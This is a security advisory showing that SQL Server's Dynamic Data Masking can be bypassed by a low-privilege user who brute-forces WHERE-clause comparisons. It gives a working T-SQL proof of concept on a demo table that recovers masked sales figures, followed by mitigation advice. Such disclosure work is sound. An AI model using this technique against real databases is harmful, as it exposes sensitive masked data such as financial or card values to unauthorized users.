Microsoft SQL Server Masked Data Exposure

Title: SQL Server Masked Data Exposure Through Brute Force Attack
Product: Database
Manufacturer: Microsoft
Affected Version(s): SQL Server 2014, 2016,2017,2019,2022
Tested Version(s): SQL Server 2014, 2016,2017,2019,2022
Risk Level: Low
Security Feature: Dynamic Data Masking
Author of Advisory: Emad Al-Mousa

---

Vulnerability Details And Back Ground:

Microsoft SQL Server database system has a security feature called “dynamic data masking” , this feature is designed to redact/mask column level values (columns containing sensitive data ….for example credit card number…etc).

The feature is good but has many security weaknesses that organizations/companies should be aware of. Among them is brute force technique against the “where” conditional clause to retrieve actual data values (numeric values).

---

Proof of Concept (PoC):

I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:

create database demodb;

USE [demodb]

GO

SET ANSI_NULLS ON

GO

SET QUOTED_IDENTIFIER ON

GO

CREATE TABLE [dbo].[COMPANY](

[COMPANY_NAME] nvarchar NULL,

[SALES] [int] NULL

) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

       ([COMPANY_NAME]

       ,[SALES])

 VALUES

       ('COMPANY_C','93')

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

       ([COMPANY_NAME]

       ,[SALES])

 VALUES

       ('COMPANY_A','11')

GO

USE [demodb]

GO

INSERT INTO [dbo].[COMPANY]

       ([COMPANY_NAME]

       ,[SALES])

 VALUES

       ('COMPANY_B','78')

GO

------ I will enable dynamic data masking function against SALES column:

ALTER TABLE dbo.COMPANY

ALTER COLUMN SALES INT MASKED WITH (FUNCTION = 'default()');

------ Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:

USE [demodb]

GO

CREATE USER reg_user WITHOUT LOGIN;

GRANT SELECT ON dbo.COMPANY to reg_user;

EXECUTE AS USER = 'reg_user’;

SELECT * FROM dbo.COMPANY;

REVERT;

------ However, using the same non-privileged database account reg_user …I will be able to extract Actual Values :

EXECUTE AS USER = 'reg_user’;

DECLARE @sales_txt nvarchar(max);

DECLARE @LCounter INT= 1;

WHILE (@LCounter < 99)

BEGIN

SET @sales_txt=(SELECT COMPANY_NAME+’ sales is ' +CAST (@LCounter as nvarchar)

FROM dbo.COMPANY

WHERE SALES=@LCounter)

print @sales_txt

SET @LCounter = @LCounter + 1

END

REVERT;

Output:

COMPANY_A sales is 11

COMPANY_B sales is 78

COMPANY_C sales is 93

------ Actual values were successfully extracted from the masked column !

---

Protection Mechanisms:

1. Ensure network firewall rules are in-place to ensure database accounts can be connected to the destination database server host from specific list of source hosts. This will add good
   security protection layer especially if database account credentials were exposed.

2. Implement Security Auditing against identified sensitive tables.

3. Implement other security features along dynamic data masking such as encryption. of course Always Encrypted feature is the best in terms of data protection.

---

References:
https://learn.microsoft.com/en-us/sql/relational-databases/security/dynamic-data-masking?view=sql-server-ver16
https://databasesecurityninja.wordpress.com/2023/08/08/hacking-sql-server-dynamic-data-masking-feature-with-brute-force-technique/
https://www.youtube.com/watch?v=NiAg0sGsGtw